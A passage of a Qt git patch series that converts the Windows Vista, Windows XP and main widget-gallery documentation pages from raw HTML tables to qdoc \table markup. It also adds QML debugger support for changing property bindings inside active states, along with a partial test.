    -\endraw +\section2 Item Views + +\table 100% +\row +\o \image windows-listview.png + The QListView class provides a default model/view implementation of a list/icon view. The QListWidget class provides a classic item-based list/icon view. +\o \image windows-treeview.png + The QTreeView class provides a default model/view implementation of a tree view. The QTreeWidget class provides a classic item-based tree view. +\o \image windows-tableview.png + The QTableView class provides a default model/view implementation of a table view. The QTableWidget class provides a classic item-based table view.\o +\o +\endtable + +\section2 Display Widgets + +\table 100% +\row +\o \image windows-progressbar.png + The QProgressBar widget provides a horizontal progress bar. +\o \image windows-label.png + The QLabel widget provides a text or image display. +\o \image windows-lcdnumber.png + The QLCDNumber widget displays a number with LCD-like digits. +\endtable + +\section2 Input Widgets + +\table 100% +\row +\o \image windows-lineedit.png + The QLineEdit widget is a one-line text editor. +\o \image windows-dateedit.png + The QDateEdit class provides a widget for editing dates. +\o \image windows-timeedit.png + The QTimeEdit class provides a widget for editing times. +\o \image windows-datetimeedit.png + The QDateTimeEdit class provides a widget for editing dates and times. +\endtable + +\table 100% +\row +\o \image windows-slider.png + The QSlider widget provides a vertical or horizontal slider. +\o \image windows-combobox.png + The QComboBox widget is a combined button and pop-up list. +\o \image windows-spinbox.png + The QSpinBox class provides a spin box widget. +\endtable + +\table 100% +\row +\o \image windows-fontcombobox.png + The QFontComboBox widget is a specialized combobox that enables fonts to be selected from a pop-up list containing previews of available fonts. +\o \image windows-doublespinbox.png + The QDoubleSpinBox class provides a spin box widget that allows double precision floating point numbers to be entered. +\o \image windows-horizontalscrollbar.png + The QScrollBar widget provides a vertical or horizontal scroll bar. Here, we show a scroll bar with horizontal orientation. +\endtable + +\table 100% +\row +\o \image windows-dial.png + The QDial class provides a rounded range control (like a speedometer or potentiometer). +\o \image windows-textedit.png + The QTextEdit class provides a widget that is used to edit and display both plain and rich text. +\o \image windows-calendarwidget.png + The QCalendarWidget class provides a monthly calendar widget that can be used to select dates. +\endtable */ diff --git a/doc/src/widgets-and-layouts/gallery-windowsvista.qdoc b/doc/src/widgets-and-layouts/gallery-windowsvista.qdoc index 00afd52..e017a2c 100644 --- a/doc/src/widgets-and-layouts/gallery-windowsvista.qdoc +++ b/doc/src/widgets-and-layouts/gallery-windowsvista.qdoc @@ -34,345 +34,105 @@ This page shows some of the widgets available in Qt when configured to use the "windowsvista" style. -\raw HTML -

    Buttons

    +\section2 Buttons - -- - - - - - - - - - - - - - - - - -
    -\endraw -\inlineimage windowsvista-pushbutton.png -\raw HTML - -\endraw -\inlineimage windowsvista-toolbutton.png -\raw HTML -
    -\endraw -The QPushButton widget provides a command button.\raw HTML - -\endraw -The QToolButton class provides a quick-access button to commands - or options, usually used inside a QToolBar.\raw HTML -
    -\endraw -\inlineimage windowsvista-checkbox.png -\raw HTML - -\endraw -\inlineimage windowsvista-radiobutton.png -\raw HTML -
    -\endraw -The QCheckBox widget provides a checkbox with a text label.\raw HTML - -\endraw -The QRadioButton widget provides a radio button with a text or pixmap label.\raw HTML -
    -\endraw -\raw HTML -

    Containers

    +\table 100% +\row +\o \image windowsvista-pushbutton.png + \caption The QPushButton widget provides a command button. +\o \image windowsvista-toolbutton.png + \caption The QToolButton class provides a quick-access button to commands + or options, usually used inside a QToolBar. +\endtable - -- - - - - - - - - - - - - - - - - -
    -\endraw -\inlineimage windowsvista-groupbox.png -\raw HTML - -\endraw -\inlineimage windowsvista-tabwidget.png -\raw HTML -
    -\endraw -The QGroupBox widget provides a group box frame with a title.\raw HTML - -\endraw -The QTabWidget class provides a stack of tabbed widgets.\raw HTML -
    -\endraw -\inlineimage windowsvista-frame.png -\raw HTML - -\endraw -\inlineimage windowsvista-toolbox.png -\raw HTML -
    -\endraw -The QFrame widget provides a simple decorated container for other widgets.\raw HTML - -\endraw -The QToolBox class provides a column of tabbed widget items.\raw HTML -
    -\endraw -\raw HTML -

    Item Views

    +\table 100% +\row +\o \image windowsvista-checkbox.png + \caption The QCheckBox widget provides a checkbox with a text label. +\o \image windowsvista-radiobutton.png + \caption The QRadioButton widget provides a radio button with a text or pixmap label. +\endtable - -- - - - - - - - - - - - - - - -
    -\endraw -\inlineimage windowsvista-listview.png -\raw HTML - -\endraw -\inlineimage windowsvista-treeview.png -\raw HTML -
    -\endraw -The QListView class provides a default model/view implementation of a list/icon view. The QListWidget class provides a classic item-based list/icon view.\raw HTML - -\endraw -The QTreeView class provides a default model/view implementation of a tree view. The QTreeWidget class provides a classic item-based tree view.\raw HTML -
    -\endraw -\inlineimage windowsvista-tableview.png -\raw HTML -
    -\endraw -The QTableView class provides a default model/view implementation of a table view. The QTableWidget class provides a classic item-based table view.\raw HTML -
    -\endraw -\raw HTML -

    Display Widgets

    +\section2 Containers - -- - - - - - - - - - - - - - - -
    -\endraw -\inlineimage windowsvista-progressbar.png -\raw HTML - -\endraw -\inlineimage windowsvista-lcdnumber.png -\raw HTML -
    -\endraw -The QProgressBar widget provides a horizontal progress bar.\raw HTML - -\endraw -The QLCDNumber widget displays a number with LCD-like digits.\raw HTML -
    -\endraw -\inlineimage windowsvista-label.png -\raw HTML -
    -\endraw -The QLabel widget provides a text or image display.\raw HTML -
    -\endraw -\raw HTML -

    Input Widgets

    +\table 100% +\row +\o \image windowsvista-groupbox.png + The The QGroupBox widget provides a group box frame with a title. +\o \image windowsvista-tabwidget.png + The QTabWidget class provides a stack of tabbed widgets. +\o \image windowsvista-frame.png + The QFrame widget provides a simple decorated container for other widgets. +\o \image windowsvista-toolbox.png + The QToolBox class provides a column of tabbed widget items. +\endtable - -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -\endraw -\inlineimage windowsvista-slider.png -\raw HTML - -\endraw -\inlineimage windowsvista-lineedit.png -\raw HTML -
    -\endraw -The QSlider widget provides a vertical or horizontal slider.\raw HTML - -\endraw -The QLineEdit widget is a one-line text editor.\raw HTML -
    -\endraw -\inlineimage windowsvista-combobox.png -\raw HTML - -\endraw -\inlineimage windowsvista-doublespinbox.png -\raw HTML -
    -\endraw -The QComboBox widget is a combined button and pop-up list.\raw HTML - -\endraw -The QDoubleSpinBox class provides a spin box widget that allows double precision floating point numbers to be entered.\raw HTML -
    -\endraw -\inlineimage windowsvista-spinbox.png -\raw HTML - -\endraw -\inlineimage windowsvista-timeedit.png -\raw HTML -
    -\endraw -The QSpinBox class provides a spin box widget.\raw HTML - -\endraw -The QTimeEdit class provides a widget for editing times.\raw HTML -
    -\endraw -\inlineimage windowsvista-dateedit.png -\raw HTML - -\endraw -\inlineimage windowsvista-datetimeedit.png -\raw HTML -
    -\endraw -The QDateEdit class provides a widget for editing dates.\raw HTML - -\endraw -The QDateTimeEdit class provides a widget for editing dates and times.\raw HTML -
    -\endraw -\inlineimage windowsvista-textedit.png -\raw HTML - -\endraw -\inlineimage windowsvista-horizontalscrollbar.png -\raw HTML -
    -\endraw -The QTextEdit class provides a widget that is used to edit and - display both plain and rich text.\raw HTML - -\endraw -The QScrollBar widget provides a vertical or horizontal scroll bar. Here, we show a scroll bar with horizontal orientation.\raw HTML -
    -\endraw -\inlineimage windowsvista-dial.png -\raw HTML - -\endraw -\inlineimage windowsvista-calendarwidget.png -\raw HTML -
    -\endraw -The QDial class provides a rounded range control (like a - speedometer or potentiometer).\raw HTML - -\endraw -The QCalendarWidget class provides a monthly calendar widget that can be used to select dates.\raw HTML -
    -\endraw -\inlineimage windowsvista-fontcombobox.png -\raw HTML -
    -\endraw -The QFontComboBox widget is a specialized combobox that enables fonts to be selected from a pop-up list containing previews of available fonts.\raw HTML -
    -\endraw +\section2 Item Views + +\table 100% +\row +\o \image windowsvista-listview.png + The QListView class provides a default model/view implementation of a list/icon view. The QListWidget class provides a classic item-based list/icon view. +\o \image windowsvista-treeview.png + The QTreeView class provides a default model/view implementation of a tree view. The QTreeWidget class provides a classic item-based tree view. +\o \image windowsvista-tableview.png + The QTableView class provides a default model/view implementation of a table view. The QTableWidget class provides a classic item-based table view.\o +\o +\endtable + +\section2 Display Widgets + +\table 100% +\row +\o \image windowsvista-progressbar.png + The QProgressBar widget provides a horizontal progress bar. +\o \image windowsvista-label.png + The QLabel widget provides a text or image display. +\o \image windowsvista-lcdnumber.png + The QLCDNumber widget displays a number with LCD-like digits. +\endtable + +\section2 Input Widgets + +\table 100% +\row +\o \image windowsvista-lineedit.png + The QLineEdit widget is a one-line text editor. +\o \image windowsvista-dateedit.png + The QDateEdit class provides a widget for editing dates. +\o \image windowsvista-timeedit.png + The QTimeEdit class provides a widget for editing times. +\o \image windowsvista-datetimeedit.png + The QDateTimeEdit class provides a widget for editing dates and times. +\endtable + +\table 100% +\row +\o \image windowsvista-slider.png + The QSlider widget provides a vertical or horizontal slider. +\o \image windowsvista-combobox.png + The QComboBox widget is a combined button and pop-up list. +\o \image windowsvista-spinbox.png + The QSpinBox class provides a spin box widget. +\endtable + +\table 100% +\row +\o \image windowsvista-fontcombobox.png + The QFontComboBox widget is a specialized combobox that enables fonts to be selected from a pop-up list containing previews of available fonts. +\o \image windowsvista-doublespinbox.png + The QDoubleSpinBox class provides a spin box widget that allows double precision floating point numbers to be entered. +\o \image windowsvista-horizontalscrollbar.png + The QScrollBar widget provides a vertical or horizontal scroll bar. Here, we show a scroll bar with horizontal orientation. +\endtable + +\table 100% +\row +\o \image windowsvista-dial.png + The QDial class provides a rounded range control (like a speedometer or potentiometer). +\o \image windowsvista-textedit.png + The QTextEdit class provides a widget that is used to edit and display both plain and rich text. +\o \image windowsvista-calendarwidget.png + The QCalendarWidget class provides a monthly calendar widget that can be used to select dates. +\endtable */ diff --git a/doc/src/widgets-and-layouts/gallery-windowsxp.qdoc b/doc/src/widgets-and-layouts/gallery-windowsxp.qdoc index 60c8ff0..f3c53ee 100644 --- a/doc/src/widgets-and-layouts/gallery-windowsxp.qdoc +++ b/doc/src/widgets-and-layouts/gallery-windowsxp.qdoc @@ -34,345 +34,105 @@ This page shows some of the widgets available in Qt when configured to use the "windowsxp" style. -\raw HTML -

    Buttons

    +\section2 Buttons - -- - - - - - - - - - - - - - - - - -
    -\endraw -\inlineimage windowsxp-pushbutton.png -\raw HTML - -\endraw -\inlineimage windowsxp-toolbutton.png -\raw HTML -
    -\endraw -The QPushButton widget provides a command button.\raw HTML - -\endraw -The QToolButton class provides a quick-access button to commands - or options, usually used inside a QToolBar.\raw HTML -
    -\endraw -\inlineimage windowsxp-checkbox.png -\raw HTML - -\endraw -\inlineimage windowsxp-radiobutton.png -\raw HTML -
    -\endraw -The QCheckBox widget provides a checkbox with a text label.\raw HTML - -\endraw -The QRadioButton widget provides a radio button with a text or pixmap label.\raw HTML -
    -\endraw -\raw HTML -

    Containers

    +\table 100% +\row +\o \image windowsxp-pushbutton.png + \caption The QPushButton widget provides a command button. +\o \image windowsxp-toolbutton.png + \caption The QToolButton class provides a quick-access button to commands + or options, usually used inside a QToolBar. +\endtable - -- - - - - - - - - - - - - - - - - -
    -\endraw -\inlineimage windowsxp-groupbox.png -\raw HTML - -\endraw -\inlineimage windowsxp-tabwidget.png -\raw HTML -
    -\endraw -The QGroupBox widget provides a group box frame with a title.\raw HTML - -\endraw -The QTabWidget class provides a stack of tabbed widgets.\raw HTML -
    -\endraw -\inlineimage windowsxp-frame.png -\raw HTML - -\endraw -\inlineimage windowsxp-toolbox.png -\raw HTML -
    -\endraw -The QFrame widget provides a simple decorated container for other widgets.\raw HTML - -\endraw -The QToolBox class provides a column of tabbed widget items.\raw HTML -
    -\endraw -\raw HTML -

    Item Views

    +\table 100% +\row +\o \image windowsxp-checkbox.png + \caption The QCheckBox widget provides a checkbox with a text label. +\o \image windowsxp-radiobutton.png + \caption The QRadioButton widget provides a radio button with a text or pixmap label. +\endtable - -- - - - - - - - - - - - - - - -
    -\endraw -\inlineimage windowsxp-listview.png -\raw HTML - -\endraw -\inlineimage windowsxp-treeview.png -\raw HTML -
    -\endraw -The QListView class provides a default model/view implementation of a list/icon view. The QListWidget class provides a classic item-based list/icon view.\raw HTML - -\endraw -The QTreeView class provides a default model/view implementation of a tree view. The QTreeWidget class provides a classic item-based tree view.\raw HTML -
    -\endraw -\inlineimage windowsxp-tableview.png -\raw HTML -
    -\endraw -The QTableView class provides a default model/view implementation of a table view. The QTableWidget class provides a classic item-based table view.\raw HTML -
    -\endraw -\raw HTML -

    Display Widgets

    +\section2 Containers - -- - - - - - - - - - - - - - - -
    -\endraw -\inlineimage windowsxp-progressbar.png -\raw HTML - -\endraw -\inlineimage windowsxp-lcdnumber.png -\raw HTML -
    -\endraw -The QProgressBar widget provides a horizontal progress bar.\raw HTML - -\endraw -The QLCDNumber widget displays a number with LCD-like digits.\raw HTML -
    -\endraw -\inlineimage windowsxp-label.png -\raw HTML -
    -\endraw -The QLabel widget provides a text or image display.\raw HTML -
    -\endraw -\raw HTML -

    Input Widgets

    +\table 100% +\row +\o \image windowsxp-groupbox.png + The The QGroupBox widget provides a group box frame with a title. +\o \image windowsxp-tabwidget.png + The QTabWidget class provides a stack of tabbed widgets. +\o \image windowsxp-frame.png + The QFrame widget provides a simple decorated container for other widgets. +\o \image windowsxp-toolbox.png + The QToolBox class provides a column of tabbed widget items. +\endtable - -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -\endraw -\inlineimage windowsxp-slider.png -\raw HTML - -\endraw -\inlineimage windowsxp-lineedit.png -\raw HTML -
    -\endraw -The QSlider widget provides a vertical or horizontal slider.\raw HTML - -\endraw -The QLineEdit widget is a one-line text editor.\raw HTML -
    -\endraw -\inlineimage windowsxp-combobox.png -\raw HTML - -\endraw -\inlineimage windowsxp-doublespinbox.png -\raw HTML -
    -\endraw -The QComboBox widget is a combined button and pop-up list.\raw HTML - -\endraw -The QDoubleSpinBox class provides a spin box widget that allows double precision floating point numbers to be entered.\raw HTML -
    -\endraw -\inlineimage windowsxp-spinbox.png -\raw HTML - -\endraw -\inlineimage windowsxp-timeedit.png -\raw HTML -
    -\endraw -The QSpinBox class provides a spin box widget.\raw HTML - -\endraw -The QTimeEdit class provides a widget for editing times.\raw HTML -
    -\endraw -\inlineimage windowsxp-dateedit.png -\raw HTML - -\endraw -\inlineimage windowsxp-datetimeedit.png -\raw HTML -
    -\endraw -The QDateEdit class provides a widget for editing dates.\raw HTML - -\endraw -The QDateTimeEdit class provides a widget for editing dates and times.\raw HTML -
    -\endraw -\inlineimage windowsxp-textedit.png -\raw HTML - -\endraw -\inlineimage windowsxp-horizontalscrollbar.png -\raw HTML -
    -\endraw -The QTextEdit class provides a widget that is used to edit and - display both plain and rich text.\raw HTML - -\endraw -The QScrollBar widget provides a vertical or horizontal scroll bar. Here, we show a scroll bar with horizontal orientation.\raw HTML -
    -\endraw -\inlineimage windowsxp-dial.png -\raw HTML - -\endraw -\inlineimage windowsxp-calendarwidget.png -\raw HTML -
    -\endraw -The QDial class provides a rounded range control (like a - speedometer or potentiometer).\raw HTML - -\endraw -The QCalendarWidget class provides a monthly calendar widget that can be used to select dates.\raw HTML -
    -\endraw -\inlineimage windowsxp-fontcombobox.png -\raw HTML -
    -\endraw -The QFontComboBox widget is a specialized combobox that enables fonts to be selected from a pop-up list containing previews of available fonts.\raw HTML -
    -\endraw +\section2 Item Views + +\table 100% +\row +\o \image windowsxp-listview.png + The QListView class provides a default model/view implementation of a list/icon view. The QListWidget class provides a classic item-based list/icon view. +\o \image windowsxp-treeview.png + The QTreeView class provides a default model/view implementation of a tree view. The QTreeWidget class provides a classic item-based tree view. +\o \image windowsxp-tableview.png + The QTableView class provides a default model/view implementation of a table view. The QTableWidget class provides a classic item-based table view.\o +\o +\endtable + +\section2 Display Widgets + +\table 100% +\row +\o \image windowsxp-progressbar.png + The QProgressBar widget provides a horizontal progress bar. +\o \image windowsxp-label.png + The QLabel widget provides a text or image display. +\o \image windowsxp-lcdnumber.png + The QLCDNumber widget displays a number with LCD-like digits. +\endtable + +\section2 Input Widgets + +\table 100% +\row +\o \image windowsxp-lineedit.png + The QLineEdit widget is a one-line text editor. +\o \image windowsxp-dateedit.png + The QDateEdit class provides a widget for editing dates. +\o \image windowsxp-timeedit.png + The QTimeEdit class provides a widget for editing times. +\o \image windowsxp-datetimeedit.png + The QDateTimeEdit class provides a widget for editing dates and times. +\endtable + +\table 100% +\row +\o \image windowsxp-slider.png + The QSlider widget provides a vertical or horizontal slider. +\o \image windowsxp-combobox.png + The QComboBox widget is a combined button and pop-up list. +\o \image windowsxp-spinbox.png + The QSpinBox class provides a spin box widget. +\endtable + +\table 100% +\row +\o \image windowsxp-fontcombobox.png + The QFontComboBox widget is a specialized combobox that enables fonts to be selected from a pop-up list containing previews of available fonts. +\o \image windowsxp-doublespinbox.png + The QDoubleSpinBox class provides a spin box widget that allows double precision floating point numbers to be entered. +\o \image windowsxp-horizontalscrollbar.png + The QScrollBar widget provides a vertical or horizontal scroll bar. Here, we show a scroll bar with horizontal orientation. +\endtable + +\table 100% +\row +\o \image windowsxp-dial.png + The QDial class provides a rounded range control (like a speedometer or potentiometer). +\o \image windowsxp-textedit.png + The QTextEdit class provides a widget that is used to edit and display both plain and rich text. +\o \image windowsxp-calendarwidget.png + The QCalendarWidget class provides a monthly calendar widget that can be used to select dates. +\endtable */ -- cgit v0.12 From 53dc4de29913356e9521ac433fb13b36d2b5ab8b Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Mon, 13 Dec 2010 12:23:29 +0100 Subject: doc: Replaced some \raw and \endraw uses with \table and \endtable In DITA XML, there is no straightforward way to translate raw html into DITA XML, because the XML stream writer automagically escapes all the raw html elements. So I am beginning to replace uses of the \raw command with \table, which gets output correctly. The problem is the XML stream writer must see each XML element start and end, because it keeps them on a stack. When you output XML elements with the writeCharacters() function, it escapes the '<' and '>' of any XML elements the character string contains. --- doc/src/widgets-and-layouts/gallery.qdoc | 112 +++++++++---------------------- 1 file changed, 30 insertions(+), 82 deletions(-) diff --git a/doc/src/widgets-and-layouts/gallery.qdoc b/doc/src/widgets-and-layouts/gallery.qdoc index 201817b..d11d9c8 100644 --- a/doc/src/widgets-and-layouts/gallery.qdoc +++ b/doc/src/widgets-and-layouts/gallery.qdoc @@ -34,103 +34,51 @@ with the native desktop enviroment. Below, you can find links to the various widget styles that are supplied with Qt 4. - \raw HTML - - - - - - - - - - - - - - - - - - - - - - - - -
    - \endraw - \image plastique-tabwidget.png Plastique Style Widget Gallery - - \bold{\l{Plastique Style Widget Gallery}} + \table + \row + \o \image plastique-tabwidget.png Plastique Style Widget Gallery + \caption \l{Plastique Style Widget Gallery} The Plastique style is provided by QPlastiqueStyle. - \raw HTML - - \endraw - \image windowsxp-tabwidget.png Windows XP Style Widget Gallery - - \bold{\l{Windows XP Style Widget Gallery}} + \o \image windowsxp-tabwidget.png Windows XP Style Widget Gallery + \caption \l{Windows XP Style Widget Gallery} The Windows XP style is provided by QWindowsXPStyle. - \raw HTML -
    - \endraw - \image gtk-tabwidget.png GTK Style Widget Gallery + \o \image windows-tabwidget.png Windows Style Widget Gallery + \caption \l{Windows Style Widget Gallery} - \bold{\l{GTK Style Widget Gallery}} - - The GTK style is provided by QGtkStyle. - \raw HTML - - \endraw - \image macintosh-tabwidget.png Macintosh Style Widget Gallery + The Windows style is provided by QWindowsStyle. + \endtable - \bold{\l{Macintosh Style Widget Gallery}} + \table + \row + \o \image macintosh-tabwidget.png Macintosh Style Widget Gallery + \caption \l{Macintosh Style Widget Gallery} The Macintosh style is provided by QMacStyle. - \raw HTML -
    - \endraw - \image cleanlooks-tabwidget.png Cleanlooks Style Widget Gallery - - \bold{\l{Cleanlooks Style Widget Gallery}} + \o \image cleanlooks-tabwidget.png Cleanlooks Style Widget Gallery + \caption \l{Cleanlooks Style Widget Gallery} The Cleanlooks style is provided by QCleanlooksStyle. - \raw HTML - - \endraw - \image windowsvista-tabwidget.png Windows Vista Style Widget Gallery - - \bold{\l{Windows Vista Style Widget Gallery}} + \o \image windowsvista-tabwidget.png Windows Vista Style Widget Gallery + \caption \l{Windows Vista Style Widget Gallery} The Windows Vista style is provided by QWindowsVistaStyle. - \raw HTML -
    - \endraw - \image motif-tabwidget.png Motif Style Widget Gallery + \endtable - \bold{\l{Motif Style Widget Gallery}} + \table + \row + \o \image gtk-tabwidget.png GTK Style Widget Gallery + \caption \l{GTK Style Widget Gallery} - The Motif style is provided by QMotifStyle. - \raw HTML - - \endraw - \image windows-tabwidget.png Windows Style Widget Gallery - - \bold{\l{Windows Style Widget Gallery}} - - The Windows style is provided by QWindowsStyle. - \raw HTML -
    - \endraw - \image cde-tabwidget.png CDE Style Widget Gallery + The GTK style is provided by QGtkStyle. + \o \image motif-tabwidget.png Motif Style Widget Gallery + \caption \l{Motif Style Widget Gallery} - \bold{\l{CDE Style Widget Gallery}} + The Motif style is provided by QMotifStyle. + \o \image cde-tabwidget.png CDE Style Widget Gallery + \caption \l{CDE Style Widget Gallery} The Common Desktop Environment style is provided by QCDEStyle. - \raw HTML -
    - \endraw + \endtable */ -- cgit v0.12 From 7618adbd60f0aaeac63a1ac65e733fc8962a1cd9 Mon Sep 17 00:00:00 2001 From: Christiaan Janssen Date: Mon, 13 Dec 2010 13:26:56 +0100 Subject: QmlDebugger: setting bindings in states Reviewied-by: Kai Koehne --- src/declarative/qml/qdeclarativeenginedebug.cpp | 110 +++++++++++++++++---- src/declarative/qml/qdeclarativeenginedebug_p.h | 5 + .../qdeclarativedebug/tst_qdeclarativedebug.cpp | 101 ++++++++++++++++++- 3 files changed, 196 insertions(+), 20 deletions(-) diff --git a/src/declarative/qml/qdeclarativeenginedebug.cpp b/src/declarative/qml/qdeclarativeenginedebug.cpp index 5f338db..4d6e50c 100644 --- a/src/declarative/qml/qdeclarativeenginedebug.cpp +++ b/src/declarative/qml/qdeclarativeenginedebug.cpp @@ -52,6 +52,7 @@ #include "private/qdeclarativevaluetype_p.h" #include "private/qdeclarativevmemetaobject_p.h" #include "private/qdeclarativeexpression_p.h" +#include "private/qdeclarativepropertychanges_p.h" #include #include @@ -304,6 +305,35 @@ void QDeclarativeEngineDebugServer::buildObjectList(QDataStream &message, QDecla } } +void QDeclarativeEngineDebugServer::buildStatesList(QDeclarativeContext *ctxt, bool cleanList=false) +{ + if (cleanList) + m_allStates.clear(); + + QDeclarativeContextPrivate *ctxtPriv = QDeclarativeContextPrivate::get(ctxt); + for (int ii = 0; ii < ctxtPriv->instances.count(); ++ii) { + buildStatesList(ctxtPriv->instances.at(ii)); + } + + QDeclarativeContextData *child = QDeclarativeContextData::get(ctxt)->childContexts; + while (child) { + buildStatesList(child->asQDeclarativeContext()); + child = child->nextChild; + } +} + +void QDeclarativeEngineDebugServer::buildStatesList(QObject *obj) +{ + if (QDeclarativeState *state = dynamic_cast(obj)) { + m_allStates.append(state); + } + + QObjectList children = obj->children(); + for (int ii = 0; ii < children.count(); ++ii) { + buildStatesList(children.at(ii)); + } +} + QDeclarativeEngineDebugServer::QDeclarativeObjectData QDeclarativeEngineDebugServer::objectData(QObject *object) { @@ -382,8 +412,10 @@ void QDeclarativeEngineDebugServer::messageReceived(const QByteArray &message) QDataStream rs(&reply, QIODevice::WriteOnly); rs << QByteArray("LIST_OBJECTS_R") << queryId; - if (engine) + if (engine) { buildObjectList(rs, engine->rootContext()); + buildStatesList(engine->rootContext(), true); + } sendMessage(reply); } else if (type == "FETCH_OBJECT") { @@ -504,26 +536,66 @@ void QDeclarativeEngineDebugServer::setBinding(int objectId, { QObject *object = objectForId(objectId); QDeclarativeContext *context = qmlContext(object); + QByteArray propertyNameArray = propertyName.toUtf8(); if (object && context) { - QDeclarativeProperty property(object, propertyName, context); - if (isLiteralValue) { - property.write(expression); - } else if (hasValidSignal(object, propertyName)) { - QDeclarativeExpression *declarativeExpression = new QDeclarativeExpression(context, object, expression.toString()); - QDeclarativeExpression *oldExpression = QDeclarativePropertyPrivate::setSignalExpression(property, declarativeExpression); - declarativeExpression->setSourceLocation(oldExpression->sourceFile(), oldExpression->lineNumber()); - } else if (property.isProperty()) { - QDeclarativeBinding *binding = new QDeclarativeBinding(expression.toString(), object, context); - binding->setTarget(property); - binding->setNotifyOnValueChanged(true); - QDeclarativeAbstractBinding *oldBinding = QDeclarativePropertyPrivate::setBinding(property, binding); - if (oldBinding) - oldBinding->destroy(); - binding->update(); + if (property.isValid()) { + + bool inBaseState = true; + + foreach(QWeakPointer statePointer, m_allStates) { + if (QDeclarativeState *state = statePointer.data()) { + // here we assume that the revert list on itself defines the base state + if ( state->isStateActive() && state->containsPropertyInRevertList(object, propertyNameArray) ) { + inBaseState = false; + + QDeclarativeBinding *newBinding = 0; + if (!isLiteralValue) { + newBinding = new QDeclarativeBinding(expression.toString(), object, context); + newBinding->setTarget(property); + newBinding->setNotifyOnValueChanged(true); + } + + state->changeBindingInRevertList(object,propertyNameArray, newBinding); + + if (isLiteralValue) + state->changeValueInRevertList(object, propertyNameArray, expression); + } + } + } + + if (inBaseState) { + if (isLiteralValue) { + property.write(expression); + } else if (hasValidSignal(object, propertyName)) { + QDeclarativeExpression *declarativeExpression = new QDeclarativeExpression(context, object, expression.toString()); + QDeclarativeExpression *oldExpression = QDeclarativePropertyPrivate::setSignalExpression(property, declarativeExpression); + declarativeExpression->setSourceLocation(oldExpression->sourceFile(), oldExpression->lineNumber()); + } else if (property.isProperty()) { + QDeclarativeBinding *binding = new QDeclarativeBinding(expression.toString(), object, context); + binding->setTarget(property); + binding->setNotifyOnValueChanged(true); + QDeclarativeAbstractBinding *oldBinding = QDeclarativePropertyPrivate::setBinding(property, binding); + if (oldBinding) + oldBinding->destroy(); + binding->update(); + } else { + qWarning() << "QDeclarativeEngineDebugServer::setBinding: unable to set property" << propertyName << "on object" << object; + } + } + } else { - qWarning() << "QDeclarativeEngineDebugServer::setBinding: unable to set property" << propertyName << "on object" << object; + // not a valid property + if (QDeclarativePropertyChanges *propertyChanges = dynamic_cast(object)) { + if (isLiteralValue) { + propertyChanges->changeValue(propertyName.toUtf8(),expression); + } else { + propertyChanges->changeExpression(propertyName.toUtf8(),expression.toString()); + } + } else { + qWarning() << "QDeclarativeEngineDebugServer::setBinding: unable to set property" << propertyName << "on object" << object; + } } } } @@ -546,6 +618,10 @@ void QDeclarativeEngineDebugServer::resetBinding(int objectId, const QString &pr property.reset(); } } + } else { + if (QDeclarativePropertyChanges *propertyChanges = dynamic_cast(object)) { + propertyChanges->removeProperty(propertyName.toUtf8()); + } } } } diff --git a/src/declarative/qml/qdeclarativeenginedebug_p.h b/src/declarative/qml/qdeclarativeenginedebug_p.h index dc8bc85..65eb1ff 100644 --- a/src/declarative/qml/qdeclarativeenginedebug_p.h +++ b/src/declarative/qml/qdeclarativeenginedebug_p.h @@ -57,6 +57,7 @@ #include #include +#include QT_BEGIN_NAMESPACE @@ -64,6 +65,7 @@ class QDeclarativeEngine; class QDeclarativeContext; class QDeclarativeWatcher; class QDataStream; +class QDeclarativeState; class QDeclarativeEngineDebugServer : public QDeclarativeDebugService { @@ -108,6 +110,8 @@ private: void prepareDeferredObjects(QObject *); void buildObjectList(QDataStream &, QDeclarativeContext *); void buildObjectDump(QDataStream &, QObject *, bool, bool); + void buildStatesList(QDeclarativeContext *, bool); + void buildStatesList(QObject *obj); QDeclarativeObjectData objectData(QObject *); QDeclarativeObjectProperty propertyData(QObject *, int); QVariant valueContents(const QVariant &defaultValue) const; @@ -117,6 +121,7 @@ private: QList m_engines; QDeclarativeWatcher *m_watch; + QList > m_allStates; }; Q_DECLARATIVE_PRIVATE_EXPORT QDataStream &operator<<(QDataStream &, const QDeclarativeEngineDebugServer::QDeclarativeObjectData &); Q_DECLARATIVE_PRIVATE_EXPORT QDataStream &operator>>(QDataStream &, QDeclarativeEngineDebugServer::QDeclarativeObjectData &); diff --git a/tests/auto/declarative/qdeclarativedebug/tst_qdeclarativedebug.cpp b/tests/auto/declarative/qdeclarativedebug/tst_qdeclarativedebug.cpp index 20a3fa6..fac32d7 100644 --- a/tests/auto/declarative/qdeclarativedebug/tst_qdeclarativedebug.cpp +++ b/tests/auto/declarative/qdeclarativedebug/tst_qdeclarativedebug.cpp @@ -72,7 +72,7 @@ class tst_QDeclarativeDebug : public QObject Q_OBJECT private: - QDeclarativeDebugObjectReference findRootObject(int context = 0); + QDeclarativeDebugObjectReference findRootObject(int context = 0, bool recursive = false); QDeclarativeDebugPropertyReference findProperty(const QList &props, const QString &name) const; void waitForQuery(QDeclarativeDebugQuery *query); @@ -115,9 +115,10 @@ private slots: void setMethodBody(); void queryObjectTree(); + void setBindingInStates(); }; -QDeclarativeDebugObjectReference tst_QDeclarativeDebug::findRootObject(int context) +QDeclarativeDebugObjectReference tst_QDeclarativeDebug::findRootObject(int context, bool recursive) { QDeclarativeDebugEnginesQuery *q_engines = m_dbg->queryAvailableEngines(this); waitForQuery(q_engines); @@ -129,7 +130,9 @@ QDeclarativeDebugObjectReference tst_QDeclarativeDebug::findRootObject(int conte if (q_context->rootContext().objects().count() == 0) return QDeclarativeDebugObjectReference(); - QDeclarativeDebugObjectQuery *q_obj = m_dbg->queryObject(q_context->rootContext().objects()[context], this); + QDeclarativeDebugObjectQuery *q_obj = recursive ? + m_dbg->queryObjectRecursive(q_context->rootContext().objects()[context], this) : + m_dbg->queryObject(q_context->rootContext().objects()[context], this); waitForQuery(q_obj); QDeclarativeDebugObjectReference result = q_obj->object(); @@ -926,6 +929,98 @@ void tst_QDeclarativeDebug::tst_QDeclarativeDebugPropertyReference() compareProperties(r, ref); } +void tst_QDeclarativeDebug::setBindingInStates() +{ + // Check if changing bindings of propertychanges works + + const int sourceIndex = 3; + + QDeclarativeDebugObjectReference obj = findRootObject(sourceIndex); + + QVERIFY(obj.debugId() != -1); + QVERIFY(obj.children().count() >= 2); + + // We are going to switch state a couple of times, we need to get rid of the transition before + 